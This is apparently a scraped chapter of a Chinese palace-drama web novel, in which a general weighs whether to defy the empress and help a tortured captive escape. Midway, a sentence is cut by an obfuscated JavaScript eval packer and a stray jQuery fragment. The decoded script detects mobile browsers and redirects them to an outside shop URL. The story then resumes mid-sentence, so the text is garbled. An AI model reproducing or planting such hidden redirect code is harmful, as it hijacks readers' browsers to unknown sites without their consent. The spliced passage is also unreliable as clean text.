送行的仪仗一路往前走,眼看到了景曜门,女帝拍了拍云朔的肩:“阿朔,我跟陆将军说几句。”
云朔眼神在二人之间流转,点点头:“那我到前面等。”
他策马走到前面,回头看了眼陆鸣渊。
如不出意外,姜知煦此刻应在随行的队伍里,女帝突然停下,是不是发现了端倪?
陆鸣渊的脸也是微微发白,他勒住马:“陛下。”
女帝却看向景曜门的方向,放柔了声音道:“二哥,若非有你,我早死在这景曜门下了。”
陆鸣渊一愣,这是……哪一出?
几年前大昭朝堂风云骤变。公主自南疆启程归国,一路阻碍重重。太子抓住时机发难,罗列出诸多凭据,指控公主私联南疆,蓄意谋反。
是以,公主甫一归国,便在景曜门遭遇羽林军和太子东宫卫拦截。
当时情境对公主极为不利,景和王府倒戈太子,连先皇也默许太子的行为。
若非陆鸣渊背水一战偷取将军令,调动了镇营军前来支援,公主或许已成为刀下亡魂。
双方人马在景曜门前大战,战况极为惨烈,公主斩太子于马下,乘胜追击一举杀到宫中,逼宫先皇,才有了如今的帝位。
只是,女帝登基之后,该肃清的已肃清,该行赏的也已经行赏。
今日再提此事,所谓何意?
陆鸣渊收敛神色,忙不迭翻身下马,跪在女帝马前:“下官不敢,陛下受命于天,即便没有下官,亦必君临四海,为天下主。”
女帝却也下了马,她伸出手,扶了一把陆鸣渊。
女帝周身萦绕着一股淡淡的竹香,他抬了眼,见到一双静静幽幽的吊梢眼。
似曾相识的感觉,陆鸣渊愣住。
他仓皇起身,低头攥住手指,往后退了两步:“陛下……折煞下官。”
女帝叹了口气:“连你,也怕我么?”
她的声音带着丝说不出的幽怨。
陆鸣渊心跳如雷,不敢抬头。
女帝容色如醉日海棠,可无人敢肖想。
只是……几年前的陆鸣渊……
彼时,他还是个不学无术的混球,被父亲赶到麟台学馆修学受罪。若非有幸遇到姜知煦,肯帮扶他的功课,他怕是天天都要挨先生的戒尺。
那日课前,他与姜知煦玩闹,他尚不知姜知煦是坤泽,闻到他身上的香味儿,凑过去上下嗅着,非要一样配方的香包。
他因此惹恼了姜知煦,被一把推开。
他嘴里嘟囔着“小气”,却在不经意间感受到一道目光,他回头看过去,是一个戴着青色面纱的女子,她坐在课室后面,静静看他。
见着他的目光,女子不避不闪。
课后,他赶着去茅房,一不小心迎面撞到一人。
他低头一瞧,对上一双吊眼,幽幽静静,带着丝难以言说的风情。正是方才戴面纱的女子。
他后退一步,干咳一声,斯文扭捏起来:“小、小生失礼了。”
女子只点头一笑,微微福了福身,转身娉娉袅袅而去。
留下旖旎的淡淡竹香。
他失火落魄地回到学案前,往桌子上一趴。夫子说的话一个字儿也没听进去,脑子里都是那双眼睛和那若有似无的香气。
他问姜知煦那是谁,对方说:“巫湘姑娘,先皇后的侄女,海棠公主的表姐。”就住在姜知煦隔壁的乾甲四号房,和公主一样,是女子乾元。
后来,他发觉哪里都能见到巫湘。
姜知煦给他讲策论的时候,他玩蹴鞠的时候,他抱着酒坛子往姜知煦房间里冲,想要把对方喝倒的时候……巫湘总在不远不近的地方,她的眼睛如影随形……
长这么大,陆鸣渊还是第一次注意到一个姑娘,这姑娘总看他,莫非是心悦他不成?
后来巫湘姑娘约他到靶场外,他心神恍惚被一箭射穿,稀里糊涂命悬一线,最后被抬下麟台山。
这些年,他不是没有想过要找她。
只不过太多事阻碍了他,又或者,他隐隐有所察觉,只是不清楚那份感觉是什么。
后来,海棠公主约他见面,他还挠头恍惚着:“公主与那巫湘姑娘实在有几分相似。要不说是表姐妹呢……”
再后来公主成了女帝,他便更不敢往这方面想,直到今日,女帝那样看着他,他才懵懵懂懂,如同一只晚熟的瓜,骤然炸裂开来。
女帝、就是巫湘。
女帝说:“二哥……我在皇宫很孤单啊。”
他耳根子泛红,把头垂得更低了。
女帝朝他走近一步,他便后退一步:“您,到底想说什么?”
“我想说……偌大皇宫,我唯有知煦一人。”
陆鸣渊浑身一凛,他抬起头,见着女帝眼神幽幽:“我只有他。”
陆鸣渊哽住。
他攥住手指,无法动弹。
……
陆鸣渊策马走出景曜门,云朔松了口气,他迎上来:“女帝说了什么?”
云朔大婚之前住在陆鸣渊府上,二人皆是坦荡之人,熟络之后成了不错的朋友,云朔经常听陆鸣渊说起姜知煦,渐渐对世子充满了同情和敬佩。
因此,帮助姜知煦出逃的计划,云朔也是从头至尾地参与了。
此刻陆鸣渊脸色苍白、沉默不语。他又急又慌:“她发现了?”他看向陆鸣渊身后,并没什么动静。若是女帝发现姜知煦在随行的队伍中,绝不会如此轻易放他们离开。
“到底怎么了?”
到底怎么了?
陆鸣渊也很想知道。
女帝突然对他说这番示弱的话,定是察觉到了什么。可这太不符合她的作风了。
在清淮渡,姜知煦的任何一点风吹草动,都会引得她大动干戈。
逃走?他亲眼见证,因为这两个字,她生生把姜知煦逼得痴傻了。
如今,怎么就什么都不做了呢?
“她明明察觉了……”他喃喃着。
眼下四周还布满了眼线,他们不敢轻举妄动,还需再走个几天,到城外潭柘寺与姜知煦汇合。
届时,有几条路线可供他选择,而姜知煦具体选择哪一条,连云朔和陆鸣渊都不会知晓,以防他们其中有人受不住拷问,把姜知煦供出来。
陆鸣渊想了又想,重复着女帝的话:“她说,皇宫很大,她很孤单。她只有知煦一人。”
他的脑子渐渐清晰,他想起在麟台山,他趴在姜知煦书案前,把那只写了“臣以为”三个大字的策论摊出来,求姜知煦“指一条明路”。
姜知煦蹙着眉一脸无奈,从书案里拿出自己几年前写的策论,让他照着抄。
巫湘看他的眼神,是不愉。
他想起蹴鞠那天,姜知煦穿着圆领窄袖袍,袍摆前襟扎起掖在腰带边,幅巾束发,干净利落。他却把球一脚踢在姜知煦胸口,姜知煦摔了满身的泥,俯趴在地上咳嗽。
他哈哈大笑,巫湘看他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944831|214034||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的眼神,是嗔怒。
还有第一次,他凑到姜知煦颈侧闻他香气,巫湘的眼神,是杀意。
所以他才在靶场外,差点被射死……
景曜门前,女帝跟他叙旧,说他功劳,向他示弱。
女帝是在给他机会。
给他一个活命的机会。
他回头看过去,景曜门的城楼上,女帝负手遥遥而立。
她在看着他,等他抉择。
云朔了解女帝的全部吗?
未必见得。
女帝出使南疆,行为有度。云朔来到大昭,女帝为他安排一应事务,皆按照上宾之礼款待。
云朔眼中的女帝,并非全面的女帝。
即便他见着痴痴傻傻的姜知煦,但未曾亲眼见识过女帝的狠辣手段,他不会真有切实的体悟。
所以云朔协助姜知煦出逃,未必不是轻敌之举,他以为下意识女帝即便发现了,也不会拿他如何。
可陆鸣渊知道女帝的手段吗??他知道的。
他亲眼见着女帝横刀立马,一举砍下自己兄长的人头,血溅在她脸上,她随手擦掉,大跨步冲到御前,将太子人头扔到自己父皇脚下:“父皇,太子已死,储君该换了吧!”
先皇手抖写不出字,她拿出准备好的昭书,攥着自己父皇的手,沾了太子的血按上去。
先皇几日后病死。她随即登基。不几日,就杀到清淮渡,捉了姜知煦,溺死无香。用几个月的时间,最后从清淮渡回来的时候,姜知煦已经痴傻,连自己的名字都记不得了。
云朔是不曾见过这样的赵春棠的。
可陆鸣渊见过。
他看向城楼上的女帝,对方似乎在说:“你的生死、云朔的生死皆在你手里。你又可知,一旦姜知煦若被捉回去,还要再受什么样的折磨?”
陆鸣渊是一个横冲直撞的人,他生于将门,行事少思多勇。又武力超群,习惯靠一身勇武解决问题。
可眼下,却需要他来思考抉择。
于公,女帝弑太子而夺天下,陆鸣渊丝毫不觉有异。在他眼中,古来成王败寇,本就是这般道理。
可于私,对待姜知煦,她为何偏偏……杀人不过头点地,即便是杀父仇人,一刀砍死也便算了,她做什么要如此长久的折辱他?
而知煦,又是那么好的一个人……他甚至,给她生了囡囡。
他知道的多,他便想的多。
他想的愈多,愈无法动弹。
一步千钧。
他攥了攥手指,春风和煦,但他的手指僵冷。
城楼上的人静静看他。
陆鸣渊看向随行队伍,也许知煦就在里面,也在等他的抉择。
知煦……
他去了清淮渡,偌大的官船,漆黑的船舱底,姜知煦蜷缩在乌沉沉的角落里,衣不蔽体、糟乱不堪。
见着他来,姜知煦爬起来双手攥住栏杆,他跪在里面,黑黝黝的眼仁闪过一丝光:“二哥,求你,杀了我。”
赵春棠走进来,他看见姜知煦如惊弓之鸟,倏地弹回角落,眼睛里瞬间涌出眼泪:“别……”
陆鸣渊闭上眼想:哪怕,给知煦一天的自在,也好啊。
蓦地,他勒马,风吹起他的披风,他遥遥朝女帝摆了摆手。
他转身,双腿一夹马腹:“走!”
马声嘶鸣,笃笃前行。
他只恨自己这个决定做的太晚了些,让知煦枉受了那么多苦。他早该带他走。